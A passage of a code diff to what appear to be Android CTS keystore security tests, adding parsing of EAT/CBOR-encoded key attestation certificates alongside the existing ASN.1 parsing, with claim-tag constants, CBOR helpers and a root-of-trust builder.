-        attestationChallenge =
-                Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(Attestation.ATTESTATION_CHALLENGE_INDEX));
-
-        uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(Attestation.UNIQUE_ID_INDEX));
-
-        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
-        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
     }
 
     public static String securityLevelToString(int attestationSecurityLevel) {
@@ -100,9 +103,9 @@
         return attestationVersion;
     }
 
-    public int getAttestationSecurityLevel() {
-        return attestationSecurityLevel;
-    }
+    public abstract int getAttestationSecurityLevel();
+
+    public abstract RootOfTrust getRootOfTrust();
 
     public int getKeymasterVersion() {
         return keymasterVersion;
@@ -135,13 +138,15 @@
     @Override
     public String toString() {
         StringBuilder s = new StringBuilder();
-        s.append("Attest version: " + attestationVersion);
-        s.append("\nAttest security: " + securityLevelToString(attestationSecurityLevel));
+        s.append("Extension type: " + getClass());
+        s.append("\nAttest version: " + attestationVersion);
+        s.append("\nAttest security: " + securityLevelToString(getAttestationSecurityLevel()));
         s.append("\nKM version: " + keymasterVersion);
         s.append("\nKM security: " + securityLevelToString(keymasterSecurityLevel));
 
         s.append("\nChallenge");
-        String stringChallenge = new String(attestationChallenge);
+        String stringChallenge =
+                attestationChallenge != null ? new String(attestationChallenge) : "null";
         if (CharMatcher.ascii().matchesAllOf(stringChallenge)) {
             s.append(": [" + stringChallenge + "]");
         } else {
@@ -159,26 +164,16 @@
         return s.toString();
     }
 
-    private ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
-            throws CertificateParsingException {
-        byte[] attestationExtensionBytes = x509Cert.getExtensionValue(KEY_DESCRIPTION_OID);
-        if (attestationExtensionBytes == null || attestationExtensionBytes.length == 0) {
-            throw new CertificateParsingException(
-                    "Did not find extension with OID " + KEY_DESCRIPTION_OID);
-        }
-        return Asn1Utils.getAsn1SequenceFromBytes(attestationExtensionBytes);
-    }
-
-    private Set<String> retrieveUnexpectedExtensionOids(X509Certificate x509Cert) {
+    Set<String> retrieveUnexpectedExtensionOids(X509Certificate x509Cert) {
         return new ImmutableSet.Builder<String>()
-                .addAll(x509Cert.getCriticalExtensionOIDs()
-                        .stream()
-                        .filter(s -> !KEY_USAGE_OID.equals(s))
-                        .iterator())
-                .addAll(x509Cert.getNonCriticalExtensionOIDs()
-                        .stream()
-                        .filter(s -> !KEY_DESCRIPTION_OID.equals(s))
-                        .iterator())
+                .addAll(
+                        x509Cert.getCriticalExtensionOIDs().stream()
+                                .filter(s -> !KEY_USAGE_OID.equals(s))
+                                .iterator())
+                .addAll(
+                        x509Cert.getNonCriticalExtensionOIDs().stream()
+                                .filter(s -> !ASN1_OID.equals(s) && !EAT_OID.equals(s))
+                                .iterator())
                 .build();
     }
 }
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index 85ac115..af74a2f 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -19,6 +19,10 @@
 import static com.google.common.base.Functions.forMap;
 import static com.google.common.collect.Collections2.transform;
 
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.Number;
+import co.nstant.in.cbor.model.UnsignedInteger;
+
 import com.google.common.base.Joiner;
 import com.google.common.collect.ImmutableMap;
 import com.google.common.collect.ImmutableSet;
@@ -166,6 +170,7 @@
             .put(KM_PURPOSE_VERIFY, "VERIFY")
             .build();
 
+    private Integer securityLevel;
     private Set<Integer> purposes;
     private Integer algorithm;
     private Integer keySize;
@@ -204,6 +209,10 @@
     private boolean confirmationRequired;
 
     public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
+        this(sequence, true);
+    }
+
+    public AuthorizationList(ASN1Encodable sequence, boolean strictParsing) throws CertificateParsingException {
         if (!(sequence instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for authorization list, found "
                     + sequence.getClass().getName());
@@ -287,7 +296,7 @@
                     userAuthType = Asn1Utils.getIntegerFromAsn1(value);
                     break;
                 case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
-                    rootOfTrust = new RootOfTrust(value);
+                    rootOfTrust = new RootOfTrust(value, strictParsing);
                     break;
                 case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
                     attestationApplicationId = new AttestationApplicationId(Asn1Utils
@@ -331,6 +340,126 @@
 
     }
 
+    public AuthorizationList(co.nstant.in.cbor.model.Map submodMap)
+            throws CertificateParsingException {
+        for (DataItem key : submodMap.getKeys()) {
+            int keyInt = ((Number) key).getValue().intValue();
+            switch (keyInt) {
+                default:
+                    throw new CertificateParsingException("Unknown EAT tag: " + key);
+
+                case EatClaim.SECURITY_LEVEL:
+                    securityLevel = eatSecurityLevelToKeymasterSecurityLevel(
+                            CborUtils.getInt(submodMap, key));
+                    break;
+                case EatClaim.PURPOSE:
+                    purposes = CborUtils.getIntSet(submodMap, key);
+                    break;
+                case EatClaim.ALGORITHM:
+                    algorithm = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.KEY_SIZE:
+                    keySize = CborUtils.getInt(submodMap, key);
+                    Log.i("Attestation", "Found KEY SIZE, value: " + keySize);
+                    break;
+                case EatClaim.DIGEST:
+                    digests = CborUtils.getIntSet(submodMap, key);
+                    break;
+                case EatClaim.PADDING:
+                    paddingModes = CborUtils.getIntSet(submodMap, key);
+                    break;
+                case EatClaim.RSA_PUBLIC_EXPONENT:
+                    rsaPublicExponent = CborUtils.getLong(submodMap, key);
+                    break;
+                case EatClaim.NO_AUTH_REQUIRED:
+                    noAuthRequired = true;
+                    break;
+                case EatClaim.IAT:
+                    creationDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.ORIGIN:
+                    origin = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.OS_VERSION:
+                    osVersion = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.OS_PATCHLEVEL:
+                    osPatchLevel = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.VENDOR_PATCHLEVEL:
+                    vendorPatchLevel = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.BOOT_PATCHLEVEL:
+                    bootPatchLevel = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.ACTIVE_DATETIME:
+                    activeDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.ORIGINATION_EXPIRE_DATETIME:
+                    originationExpireDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.USAGE_EXPIRE_DATETIME:
+                    usageExpireDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.ROLLBACK_RESISTANT:
+                    rollbackResistant = true;
+                    break;
+                case EatClaim.ROLLBACK_RESISTANCE:
+                    rollbackResistance = true;
+                    break;
+                case EatClaim.AUTH_TIMEOUT:
+                    authTimeout = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.ALLOW_WHILE_ON_BODY:
+                    allowWhileOnBody = true;
+                    break;
+                case EatClaim.EC_CURVE:
+                    ecCurve = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.USER_AUTH_TYPE:
+                    userAuthType = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_APPLICATION_ID:
+                    // TODO: The attestation application ID is currently still encoded as an ASN.1
+                    // structure. Parse a CBOR structure when it's available instead.
+                    attestationApplicationId = new AttestationApplicationId(
+                        Asn1Utils.getAsn1EncodableFromBytes(CborUtils.getBytes(submodMap, key)));
+                    break;
+                case EatClaim.ATTESTATION_ID_BRAND:
+                    brand = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_DEVICE:
+                    device = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_PRODUCT:
+                    product = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_SERIAL:
+                    serialNumber = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.UEID:
+                    // TODO: Parse depending on encoding chosen in attestation_record.cpp.
+                    imei = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_MEID:
+                    meid = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_MANUFACTURER:
+                    manufacturer = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.ATTESTATION_ID_MODEL:
+                    model = CborUtils.getString(submodMap, key);
+                    break;
+                case EatClaim.USER_PRESENCE_REQUIRED:
+                    userPresenceRequired = CborUtils.getBoolean(submodMap, key);
+                    break;
+                case EatClaim.TRUSTED_CONFIRMATION_REQUIRED:
+                    confirmationRequired = true;
+                    break;
+            }
+        }
+    }
+
     public static String algorithmToString(int algorithm) {
         switch (algorithm) {
             case KM_ALGORITHM_RSA:
@@ -415,6 +544,10 @@
         }
     }
 
+    public Integer getSecurityLevel() {
+        return securityLevel;
+    }
+
     public Set<Integer> getPurposes() {
         return purposes;
     }
@@ -607,6 +740,19 @@
         return confirmationRequired;
     }
 
+    static int eatSecurityLevelToKeymasterSecurityLevel(int eatSecurityLevel) {
+        switch(eatSecurityLevel) {
+            case EatClaim.SECURITY_LEVEL_UNRESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+            case EatClaim.SECURITY_LEVEL_SECURE_RESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
+            case EatClaim.SECURITY_LEVEL_HARDWARE:
+                return Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
+            default:
+                throw new RuntimeException("Invalid EAT security level: " + eatSecurityLevel);
+        }
+    }
+
     private String getStringFromAsn1Value(ASN1Primitive value) throws CertificateParsingException {
         try {
             return Asn1Utils.getStringFromAsn1OctetStreamAssumingUTF8(value);
diff --git a/tests/security/src/android/keystore/cts/CborUtils.java b/tests/security/src/android/keystore/cts/CborUtils.java
new file mode 100644
index 0000000..eeac9b5
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/CborUtils.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import co.nstant.in.cbor.model.Array;
+import co.nstant.in.cbor.model.ByteString;
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.Map;
+import co.nstant.in.cbor.model.NegativeInteger;
+import co.nstant.in.cbor.model.Number;
+import co.nstant.in.cbor.model.SimpleValue;
+import co.nstant.in.cbor.model.SimpleValueType;
+import co.nstant.in.cbor.model.UnsignedInteger;
+
+import java.nio.charset.StandardCharsets;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+
+class CborUtils {
+    public static Number toNumber(long l) {
+        return l >= 0 ? new UnsignedInteger(l) : new NegativeInteger(l);
+    }
+
+    public static int getInt(Map map, long index) {
+        DataItem item = map.get(CborUtils.toNumber(index));
+        return ((Number) item).getValue().intValue();
+    }
+
+    public static int getInt(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        return ((Number) item).getValue().intValue();
+    }
+
+    public static long getLong(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        return ((Number) item).getValue().longValue();
+    }
+
+    public static Set<Integer> getIntSet(Map map, DataItem index) {
+        Array array = (Array) map.get(index);
+        Set<Integer> result = new HashSet();
+        for (DataItem item : array.getDataItems()) {
+            result.add(((Number) item).getValue().intValue());
+        }
+        return result;
+    }
+
+    public static Boolean getBoolean(Map map, DataItem index) {
+        SimpleValueType value = ((SimpleValue) map.get(index)).getSimpleValueType();
+        if (value != SimpleValueType.TRUE && value != SimpleValueType.FALSE) {
+            throw new RuntimeException("Only expecting boolean values for " + index);
+        }
+        return (value == SimpleValueType.TRUE);
+    }
+
+    public static List<Boolean> getBooleanList(Map map, DataItem index) {
+        Array array = (Array) map.get(index);
+        List<Boolean> result = new ArrayList();
+        for (DataItem item : array.getDataItems()) {
+            SimpleValueType value = ((SimpleValue) item).getSimpleValueType();
+            if (value == SimpleValueType.FALSE) {
+                result.add(false);
+            } else if (value == SimpleValueType.TRUE) {
+                result.add(true);
+            } else {
+                throw new RuntimeException("Map contains more than booleans: " + map);
+            }
+        }
+        return result;
+    }
+
+    public static Date getDate(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        long epochMillis = ((Number) item).getValue().longValue();
+        return new Date(epochMillis);
+    }
+
+    public static byte[] getBytes(Map map, DataItem index) {
+        DataItem item = map.get(index);
+        return ((ByteString) item).getBytes();
+    }
+
+    public static String getString(Map map, DataItem index) {
+        byte[] bytes = getBytes(map, index);
+        return new String(bytes, StandardCharsets.UTF_8);
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/EatAttestation.java b/tests/security/src/android/keystore/cts/EatAttestation.java
new file mode 100644
index 0000000..21ef0db
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/EatAttestation.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import android.util.Log;
+
+import co.nstant.in.cbor.CborDecoder;
+import co.nstant.in.cbor.CborException;
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.Map;
+import co.nstant.in.cbor.model.Number;
+import co.nstant.in.cbor.model.UnicodeString;
+
+import org.bouncycastle.asn1.ASN1Encodable;
+
+import java.security.cert.CertificateParsingException;
+import java.security.cert.X509Certificate;
+import java.util.List;
+
+public class EatAttestation extends Attestation {
+    static final String TAG = "EatAttestation";
+    final Map extension;
+    final RootOfTrust rootOfTrust;
+
+    /**
+     * Constructs an {@code EatAttestation} object from the provided {@link X509Certificate},
+     * extracting the attestation data from the attestation extension.
+     *
+     * @throws CertificateParsingException if the certificate does not contain a properly-formatted
+     *     attestation extension.
+     */
+    public EatAttestation(X509Certificate x509Cert)
+            throws CertificateParsingException, CborException {
+        super(x509Cert);
+        extension = getEatExtension(x509Cert);
+
+        RootOfTrust.Builder rootOfTrustBuilder = new RootOfTrust.Builder();
+        List<Boolean> bootState = null;
+        boolean officialBuild = false;
+
+        for (DataItem key : extension.getKeys()) {
+            int keyInt = ((Number) key).getValue().intValue();
+            switch (keyInt) {
+                default:
+                    throw new CertificateParsingException(
+                            "Unknown EAT tag: " + key + "\n in EAT extension:\n" + toString());
+
+                case EatClaim.ATTESTATION_VERSION:
+                    attestationVersion = CborUtils.getInt(extension, key);
+                    break;
+                case EatClaim.KEYMASTER_VERSION:
+                    keymasterVersion = CborUtils.getInt(extension, key);
+                    break;
+                case EatClaim.SECURITY_LEVEL:
+                    keymasterSecurityLevel =
+                            eatSecurityLevelToKeymintSecurityLevel(
+                                    CborUtils.getInt(extension, key));
+                    break;
+                case EatClaim.SUBMODS:
+                    Map submods = (Map) extension.get(key);
+                    softwareEnforced =
+                            new AuthorizationList(
+                                    (Map) submods.get(new UnicodeString(EatClaim.SUBMOD_SOFTWARE)));
+                    teeEnforced =
+                            new AuthorizationList(
+                                    (Map) submods.get(new UnicodeString(EatClaim.SUBMOD_TEE)));
+                    break;
+                case EatClaim.VERIFIED_BOOT_KEY:
+                    rootOfTrustBuilder.setVerifiedBootKey(CborUtils.getBytes(extension, key));
+                    break;
+                case EatClaim.DEVICE_LOCKED:
+                    rootOfTrustBuilder.setDeviceLocked(CborUtils.getBoolean(extension, key));
+                    break;
+                case EatClaim.BOOT_STATE:
+                    bootState = CborUtils.getBooleanList(extension, key);
+                    break;
+                case EatClaim.OFFICIAL_BUILD:
+                    officialBuild = CborUtils.getBoolean(extension, key);
+                    break;
+                case EatClaim.NONCE:
+                    attestationChallenge = CborUtils.getBytes(extension, key);
+                    break;
+                case EatClaim.CTI:
+                    Log.i(TAG, "Got CTI claim: " + CborUtils.getBytes(extension, key));
+                    uniqueId = CborUtils.getBytes(extension, key);
+                    break;
+                case EatClaim.VERIFIED_BOOT_HASH:
+                    // TODO: ignored for now, as this is not checked in original ASN.1 tests
+                    break;
+            }
+        }
+
+        if (bootState != null) {
+            rootOfTrustBuilder.setVerifiedBootState(
+                    eatBootStateTypeToVerifiedBootState(bootState, officialBuild));
+        }
+        rootOfTrust = rootOfTrustBuilder.build();
+    }
+
+    /** Find the submod containing the key information, and return its security level. */
+    public int getAttestationSecurityLevel() {
+        if (teeEnforced != null && teeEnforced.getAlgorithm() != null) {
+            return teeEnforced.getSecurityLevel();
+        } else if (softwareEnforced != null && softwareEnforced.getAlgorithm() != null) {
+            return softwareEnforced.getSecurityLevel();
+        } else {
+            return -1;
+        }
+    }
+
+    public RootOfTrust getRootOfTrust() {
+        return rootOfTrust;
+    }
+
+    public String toString() {
+        return super.toString() + "\nEncoded CBOR: " + extension;
+    }
+
+    Map getEatExtension(X509Certificate x509Cert)
+            throws CertificateParsingException, CborException {
+        byte[] attestationExtensionBytes = x509Cert.getExtensionValue(Attestation.EAT_OID);
+        if (attestationExtensionBytes == null || attestationExtensionBytes.length == 0) {
+            throw new CertificateParsingException("Did not find extension with OID " + EAT_OID);
+        }
+        ASN1Encodable asn1 = Asn1Utils.getAsn1EncodableFromBytes(attestationExtensionBytes);
+        byte[] cborBytes = Asn1Utils.getByteArrayFromAsn1(asn1);
+        List<DataItem> cbor = CborDecoder.decode(cborBytes);
+        return (Map) cbor.get(0);
+    }
+
+    static int eatSecurityLevelToKeymintSecurityLevel(int eatSecurityLevel) {
+        switch (eatSecurityLevel) {
+            case EatClaim.SECURITY_LEVEL_UNRESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+            case EatClaim.SECURITY_LEVEL_SECURE_RESTRICTED:
+                return Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
+            case EatClaim.SECURITY_LEVEL_HARDWARE:
+                return Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
+            default:
+                throw new RuntimeException("Invalid EAT security level: " + eatSecurityLevel);
+        }
+    }
+
+    static int eatBootStateTypeToVerifiedBootState(List<Boolean> bootState, Boolean officialBuild) {
+        if (bootState.size() != 5) {
+            throw new RuntimeException("Boot state map has unexpected size: " + bootState.size());
+        }
+        if (bootState.get(4)) {
+            throw new RuntimeException("debug-permanent-disable must never be true: " + bootState);
+        }
+        boolean verifiedOrSelfSigned = bootState.get(0);
+        if (verifiedOrSelfSigned != bootState.get(1)
+                && verifiedOrSelfSigned != bootState.get(2)
+                && verifiedOrSelfSigned != bootState.get(3)) {
+            throw new RuntimeException("Unexpected boot state: " + bootState);
+        }
+
+        if (officialBuild) {
+            if (!verifiedOrSelfSigned) {
+                throw new AssertionError("Non-verified official build");
+            }
+            return RootOfTrust.KM_VERIFIED_BOOT_VERIFIED;
+        } else {
+            return verifiedOrSelfSigned
+                    ? RootOfTrust.KM_VERIFIED_BOOT_SELF_SIGNED
+                    : RootOfTrust.KM_VERIFIED_BOOT_UNVERIFIED;
+        }
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/EatClaim.java b/tests/security/src/android/keystore/cts/EatClaim.java
new file mode 100644
index 0000000..1130037
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/EatClaim.java
@@ -0,0 +1,112 @@
+package android.keystore.cts;
+
+import android.security.keymaster.KeymasterDefs;
+
+class EatClaim {
+    public static final int IAT = 6;
+    public static final int CTI = 7;
+
+    public static final int NONCE = -75008;
+    public static final int UEID = -75009;
+
+    public static final int SECURITY_LEVEL = -76002;
+    public static final int SECURITY_LEVEL_UNRESTRICTED = 1;
+    public static final int SECURITY_LEVEL_SECURE_RESTRICTED = 3;
+    public static final int SECURITY_LEVEL_HARDWARE = 4;
+
+    public static final int BOOT_STATE = -76003;
+    public static final int SUBMODS = -76000;
+
+    private static final int PRIVATE_BASE = -80000;
+
+    public static final int PURPOSE = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_PURPOSE);
+    public static final int ALGORITHM =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ALGORITHM);
+    public static final int KEY_SIZE = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_KEY_SIZE);
+    public static final int BLOCK_MODE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_BLOCK_MODE);
+    public static final int DIGEST = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_DIGEST);
+    public static final int PADDING = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_PADDING);
+    public static final int CALLER_NONCE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_CALLER_NONCE);
+    public static final int MIN_MAC_LENGTH =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_MIN_MAC_LENGTH);
+    public static final int KDF = PRIVATE_BASE - 9;
+
+    public static final int EC_CURVE = PRIVATE_BASE - 10;
+    public static final int EAT_EC_CURVE_P_224 = 0;
+    public static final int EAT_EC_CURVE_P_256 = 1;
+    public static final int EAT_EC_CURVE_P_384 = 2;
+    public static final int EAT_EC_CURVE_P_521 = 3;
+
+    public static final int RSA_PUBLIC_EXPONENT =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_RSA_PUBLIC_EXPONENT);
+
+    public static final int ROLLBACK_RESISTANCE = PRIVATE_BASE - 303;
+    public static final int EARLY_BOOT_ONLY = PRIVATE_BASE - 305;
+
+    public static final int ACTIVE_DATETIME =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ACTIVE_DATETIME);
+    public static final int ORIGINATION_EXPIRE_DATETIME =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ORIGINATION_EXPIRE_DATETIME);
+    public static final int USAGE_EXPIRE_DATETIME =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_USAGE_EXPIRE_DATETIME);
+
+    public static final int NO_AUTH_REQUIRED =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_NO_AUTH_REQUIRED);
+    public static final int USER_AUTH_TYPE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_USER_AUTH_TYPE);
+    public static final int AUTH_TIMEOUT =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_AUTH_TIMEOUT);
+    public static final int ALLOW_WHILE_ON_BODY =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ALLOW_WHILE_ON_BODY);
+    public static final int USER_PRESENCE_REQUIRED = PRIVATE_BASE - 507;
+    public static final int TRUSTED_CONFIRMATION_REQUIRED =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_TRUSTED_CONFIRMATION_REQUIRED);
+    public static final int UNLOCKED_DEVICE_REQUIRED =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_UNLOCKED_DEVICE_REQUIRED);
+
+    public static final int APPLICATION_ID =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_APPLICATION_ID);
+
+    public static final int ORIGIN = PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ORIGIN);
+    // TODO: hardcoded while KeymasterDefs uses the same value for
+    // ROLLBACK_RESISTANCE and ROLLBACK_RESISTANT
+    public static final int ROLLBACK_RESISTANT = PRIVATE_BASE - 703;
+    public static final int OS_VERSION = PRIVATE_BASE - 705;
+    public static final int OS_PATCHLEVEL = PRIVATE_BASE - 706;
+    public static final int ATTESTATION_APPLICATION_ID = PRIVATE_BASE - 709;
+    public static final int ATTESTATION_ID_BRAND =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_BRAND);
+    public static final int ATTESTATION_ID_DEVICE =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_DEVICE);
+    public static final int ATTESTATION_ID_PRODUCT =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_PRODUCT);
+    public static final int ATTESTATION_ID_SERIAL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_SERIAL);
+    public static final int ATTESTATION_ID_MEID =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_MEID);
+    public static final int ATTESTATION_ID_MANUFACTURER =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_MANUFACTURER);
+    public static final int ATTESTATION_ID_MODEL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_ATTESTATION_ID_MODEL);
+    public static final int VENDOR_PATCHLEVEL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_VENDOR_PATCHLEVEL);
+    public static final int BOOT_PATCHLEVEL =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_BOOT_PATCHLEVEL);
+    public static final int DEVICE_UNIQUE_ATTESTATION =
+            PRIVATE_BASE - (0x0FFFFFFF & KeymasterDefs.KM_TAG_DEVICE_UNIQUE_ATTESTATION);
+    public static final int IDENTITY_CREDENTIAL_KEY = PRIVATE_BASE - 721;
+
+    private static final int NON_KM_BASE = PRIVATE_BASE - 2000;
+
+    public static final int VERIFIED_BOOT_KEY = NON_KM_BASE - 1;
+    public static final int DEVICE_LOCKED = NON_KM_BASE - 2;
+    public static final int VERIFIED_BOOT_HASH = NON_KM_BASE - 3;
+    public static final int ATTESTATION_VERSION = NON_KM_BASE - 4;
+    public static final int KEYMASTER_VERSION = NON_KM_BASE - 5;
+    public static final int OFFICIAL_BUILD = NON_KM_BASE - 6;
+
+    public static final String SUBMOD_SOFTWARE = "software";
+    public static final String SUBMOD_TEE = "tee";
+}
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index 99577021..bfa2f10 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -38,6 +38,11 @@
     private final int verifiedBootState;
 
     public RootOfTrust(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+        this(asn1Encodable, true);
+    }
+
+    public RootOfTrust(ASN1Encodable asn1Encodable, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(asn1Encodable instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for root of trust, found "
                     + asn1Encodable.getClass().getName());
@@ -46,11 +51,19 @@
         ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
         verifiedBootKey =
                 Asn1Utils.getByteArrayFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_KEY_INDEX));
-        deviceLocked = Asn1Utils.getBooleanFromAsn1(sequence.getObjectAt(DEVICE_LOCKED_INDEX));
+        deviceLocked = Asn1Utils.getBooleanFromAsn1(
+                sequence.getObjectAt(DEVICE_LOCKED_INDEX), strictParsing);
         verifiedBootState =
                 Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
     }
 
+
+    RootOfTrust(byte[] verifiedBootKey, boolean deviceLocked, int verifiedBootState) {
+        this.verifiedBootKey = verifiedBootKey;
+        this.deviceLocked = deviceLocked;
+        this.verifiedBootState = verifiedBootState;
+    }
+
     public static String verifiedBootStateToString(int verifiedBootState) {
         switch (verifiedBootState) {
             case KM_VERIFIED_BOOT_VERIFIED:
@@ -82,11 +95,35 @@
     public String toString() {
         return new StringBuilder()
                 .append("\nVerified boot Key: ")
-                .append(BaseEncoding.base64().encode(verifiedBootKey))
+                .append(verifiedBootKey != null ?
+                            BaseEncoding.base64().encode(verifiedBootKey) :
+                            "null")
                 .append("\nDevice locked: ")
                 .append(deviceLocked)
                 .append("\nVerified boot state: ")
                 .append(verifiedBootStateToString(verifiedBootState))
                 .toString();
     }
+
+    public static class Builder {
+        private byte[] verifiedBootKey;
+        private boolean deviceLocked = false;
+        private int verifiedBootState = -1;
+
+        public Builder setVerifiedBootKey(byte[] verifiedBootKey) {
+            this.verifiedBootKey = verifiedBootKey;
+            return this;
+        }
+        public Builder setDeviceLocked(boolean deviceLocked) {
+            this.deviceLocked = deviceLocked;
+            return this;
+        }
+        public Builder setVerifiedBootState(int verifiedBootState) {
+            this.verifiedBootState = verifiedBootState;
+            return this;
+        }
+        public RootOfTrust build() {
+            return new RootOfTrust(verifiedBootKey, deviceLocked, verifiedBootState);
+        }
+    }
 }
